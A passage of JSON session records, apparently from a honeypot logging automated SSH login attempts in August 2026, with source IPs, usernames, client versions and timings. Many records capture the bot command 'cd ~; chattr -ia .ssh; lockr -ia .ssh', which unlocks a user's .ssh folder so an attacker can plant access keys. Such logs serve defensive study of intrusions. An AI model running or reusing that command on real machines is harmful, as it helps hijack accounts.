  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "97.74.87.152",
  "src_port": 33292,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:38:18.492063+00:00",
  "ended_at": "2026-08-27T00:38:20.069691+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "96e7c7e4-2a04-4fbf-a76e-0be66d30de68",
  "name": "restless-tidal-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 60220,
  "username": "michal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 540,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:36:44.572496+00:00",
  "ended_at": "2026-08-27T00:36:46.059069+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2127
 },
 {
  "id": "9b3f10f1-89e0-4271-a402-95ddce6e8558",
  "name": "hushed-jolly-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 60248,
  "username": "michal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:36:23.998122+00:00",
  "ended_at": "2026-08-27T00:36:25.554403+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d12da8e-6c95-42ee-b4cc-1fef04d21d9f",
  "name": "genial-hazy-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 60234,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:36:18.820624+00:00",
  "ended_at": "2026-08-27T00:36:19.787772+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9beed922-c62e-4630-85da-7a90a8015fbc",
  "name": "wooded-nameless-muntjac",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 60224,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:34:21.684439+00:00",
  "ended_at": "2026-08-27T00:34:23.991871+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1d3ba961-9947-47ed-8fd6-6400b59e5ee3",
  "name": "solar-rapid-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 56892,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 522,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:33:42.846708+00:00",
  "ended_at": "2026-08-27T00:33:44.173413+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2161
 },
 {
  "id": "ac35acf3-f282-4ce2-a6c7-e4db05170401",
  "name": "rugged-ruddy-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 58612,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:33:22.682424+00:00",
  "ended_at": "2026-08-27T00:33:23.644542+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6b53966c-b304-410e-8466-7e083b739793",
  "name": "flinty-prairie-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 58602,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:33:17.679396+00:00",
  "ended_at": "2026-08-27T00:33:18.420589+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b6208ed3-6316-446d-9834-3837e3d83399",
  "name": "nautical-graceful-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 58962,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 515,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:30:43.803559+00:00",
  "ended_at": "2026-08-27T00:30:45.265857+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "721da897-7b77-40f5-839e-f7de8f723396",
  "name": "early-wry-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 48606,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:30:24.161304+00:00",
  "ended_at": "2026-08-27T00:30:25.803896+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4466e00f-5dc3-4bb7-856e-700902caf2c2",
  "name": "tawny-tidal-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 58968,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:30:19.995323+00:00",
  "ended_at": "2026-08-27T00:30:21.574011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "522f4b42-b84d-4bf6-91b3-d747fd167d87",
  "name": "rapid-candid-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 46664,
  "username": "mailuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 516,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:27:42.331054+00:00",
  "ended_at": "2026-08-27T00:27:43.807106+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2078
 },
 {
  "id": "718f4a18-c6ec-4f05-8d52-f3eb7b154950",
  "name": "marbled-austere-nuthatch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 56586,
  "username": "mailuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:27:22.892741+00:00",
  "ended_at": "2026-08-27T00:27:24.656644+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "541420c4-6187-4657-b93a-2a6e010c7c08",
  "name": "faded-crystal-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 56574,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:27:18.120902+00:00",
  "ended_at": "2026-08-27T00:27:19.834524+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c4fa3bbc-ecba-4a1f-b0ad-4b87b4fe1fae",
  "name": "prairie-ivory-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 49256,
  "username": "ssl",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 530,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:24:30.857302+00:00",
  "ended_at": "2026-08-27T00:24:32.153617+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2072
 },
 {
  "id": "db208109-6607-4fdf-b270-54de36bfd155",
  "name": "shaded-alpine-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 49286,
  "username": "ssl",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:24:10.950926+00:00",
  "ended_at": "2026-08-27T00:24:12.313376+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bad6c15-f3da-45bf-8867-1a0d0d3f317d",
  "name": "pewter-quartz-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 49272,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:24:06.729996+00:00",
  "ended_at": "2026-08-27T00:24:08.078903+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5bc6a18a-a683-4224-8ead-a479f8a09b8f",
  "name": "foggy-bitter-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 59586,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:22:24.687783+00:00",
  "ended_at": "2026-08-27T00:22:25.154333+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5edb1ccb-d4dc-4fe7-b301-528eb53018b3",
  "name": "frank-dappled-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 50422,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 581,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:21:10.422459+00:00",
  "ended_at": "2026-08-27T00:21:11.831471+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "98cc077b-9302-47a3-8cbc-076b40de366f",
  "name": "dutiful-rustic-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 50444,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:20:53.613556+00:00",
  "ended_at": "2026-08-27T00:20:55.346818+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "402ad363-ca64-4773-a798-b8ce71ef2848",
  "name": "woven-smoky-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 50430,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:20:48.976951+00:00",
  "ended_at": "2026-08-27T00:20:50.440011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40dedb45-d88a-4401-9112-8b216413aafe",
  "name": "genial-proud-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 65284,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:18:18.855224+00:00",
  "ended_at": "2026-08-27T00:18:59.409771+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d07cf30b-8560-4b85-bbb5-af953dfb9455",
  "name": "early-deft-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 50678,
  "username": "ftp_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 571,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:17:53.831192+00:00",
  "ended_at": "2026-08-27T00:17:54.534356+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2057
 },
 {
  "id": "2a83dae2-1927-459e-9efd-11b120b47889",
  "name": "murky-vaulted-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 52310,
  "username": "ftp_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:17:41.697466+00:00",
  "ended_at": "2026-08-27T00:17:43.153728+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "617a9f66-1617-4b8d-b484-f788061d7c97",
  "name": "inland-pewter-wallaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 52300,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:17:38.464256+00:00",
  "ended_at": "2026-08-27T00:17:40.527658+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "94c0eeeb-d5da-4974-a45f-a19bca359857",
  "name": "upland-distant-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 36640,
  "username": "riccardo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:16:59.768846+00:00",
  "ended_at": "2026-08-27T00:17:58.477214+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aa2187ed-1cfd-441d-83fa-23d6ca9339f4",
  "name": "steady-airy-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 54830,
  "username": "riccardo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:16:49.621783+00:00",
  "ended_at": "2026-08-27T00:20:50.158942+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "d8569d23-7d3d-4484-a143-bef4fc61640a",
  "name": "jaunty-northern-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 34414,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 548,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:14:46.269218+00:00",
  "ended_at": "2026-08-27T00:14:47.160675+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "f67e105a-21cc-4d10-a910-daa44fe61e3b",
  "name": "jaunty-hazy-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 46398,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:14:34.848353+00:00",
  "ended_at": "2026-08-27T00:14:36.185944+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "28a4282f-8420-404f-aa1f-eb04bc66b048",
  "name": "fringed-fearless-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 46388,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:14:32.789994+00:00",
  "ended_at": "2026-08-27T00:14:33.686381+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e7d95f0d-7f04-4614-93c7-83affd590549",
  "name": "golden-mottled-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 50058,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:12:47.755864+00:00",
  "ended_at": "2026-08-27T00:12:49.471171+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fe15e3b3-355d-4a8f-8d82-5ca3f6f24244",
  "name": "prairie-humble-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 44672,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:10:36.644376+00:00",
  "ended_at": "2026-08-27T00:14:36.902006+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "239a991d-1fe4-447c-9f79-1ffd5f87bd06",
  "name": "forlorn-orderly-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 63722,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:10:30.090513+00:00",
  "ended_at": "2026-08-27T00:10:30.847130+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ae1c0538-2141-4d51-af76-a28215962807",
  "name": "plush-dappled-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 34614,
  "username": "cyber",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:09:03.109674+00:00",
  "ended_at": "2026-08-27T00:09:04.569697+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4b81ca2f-db82-464c-8b9e-9c6b8153bacb",
  "name": "icy-rustic-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 60274,
  "username": "pratik",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:07:30.267776+00:00",
  "ended_at": "2026-08-27T00:11:30.826253+00:00",
  "ended_reason": "connection lost",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "1069397e-d830-4c63-9326-317d46391636",
  "name": "vigilant-subtle-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 57740,
  "username": "sdtd",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:04:20.815650+00:00",
  "ended_at": "2026-08-27T00:08:20.823714+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "007dc0bc-d9a2-4a1d-b7d6-a3ce2657a624",
  "name": "rugged-russet-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 34384,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T00:01:03.153925+00:00",
  "ended_at": "2026-08-27T00:05:03.178147+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "bd698bfb-3c5a-4b49-a7e2-b061be7c3fc9",
  "name": "vaulted-quiet-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 64775,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:58:17.638152+00:00",
  "ended_at": "2026-08-26T23:58:18.729421+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e3d6c151-822f-41df-948c-f7b5a76d2e74",
  "name": "weathered-thrifty-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 61474,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:58:13.826957+00:00",
  "ended_at": "2026-08-26T23:58:25.199764+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a4f7eb82-d5f2-4df6-b081-70bc955a502b",
  "name": "hazy-western-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 44512,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:57:54.694285+00:00",
  "ended_at": "2026-08-27T00:01:54.952118+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "b9665656-8a41-400d-9ea8-a8ad3457a184",
  "name": "fabled-crimson-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 60519,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:57:12.077898+00:00",
  "ended_at": "2026-08-26T23:57:39.027848+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "676217b4-209c-4c5d-8719-5bf90dc9cb27",
  "name": "jolly-distant-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 7242,
  "username": "lani",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:51:47.825441+00:00",
  "ended_at": "2026-08-26T23:51:48.434018+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b17ef772-286f-4cad-a937-92a9ad21e4dd",
  "name": "foggy-cunning-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 46582,
  "username": "git",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:51:47.481211+00:00",
  "ended_at": "2026-08-26T23:55:47.506849+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "604a671d-72e6-412d-ae67-1f2ed7509268",
  "name": "subtle-breezy-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 35642,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:48:42.937531+00:00",
  "ended_at": "2026-08-26T23:52:43.212571+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "1d3971d4-7478-44ac-b114-3baf1b8a2042",
  "name": "wooded-early-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 54842,
  "username": "adminuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:45:31.550348+00:00",
  "ended_at": "2026-08-26T23:49:31.921481+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d50c039d-8be6-48c0-b8d5-654a05dfadaf",
  "name": "thorny-woven-siskin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.163.40.5",
  "src_port": 57527,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:45:26.448231+00:00",
  "ended_at": "2026-08-26T23:45:28.301890+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bc78b6ed-1fbd-4796-af7f-b781f01fa428",
  "name": "plush-lucid-kudu",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "216.73.216.122",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:39:56.307370+00:00",
  "ended_at": "2026-08-26T23:55:04.169297+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a15526d6-144d-4f36-9c8b-e5834b15c59b",
  "name": "supple-brave-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 62330,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:37:47.251512+00:00",
  "ended_at": "2026-08-26T23:37:49.371515+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7103ece5-592c-42ea-b5bf-d3999ce7f50e",
  "name": "lunar-marbled-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 45896,
  "username": "khan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:36:08.836571+00:00",
  "ended_at": "2026-08-26T23:40:08.851455+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "aae4cdaf-4c63-4d1b-a8ef-8ff2a2c46897",
  "name": "twilight-opal-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
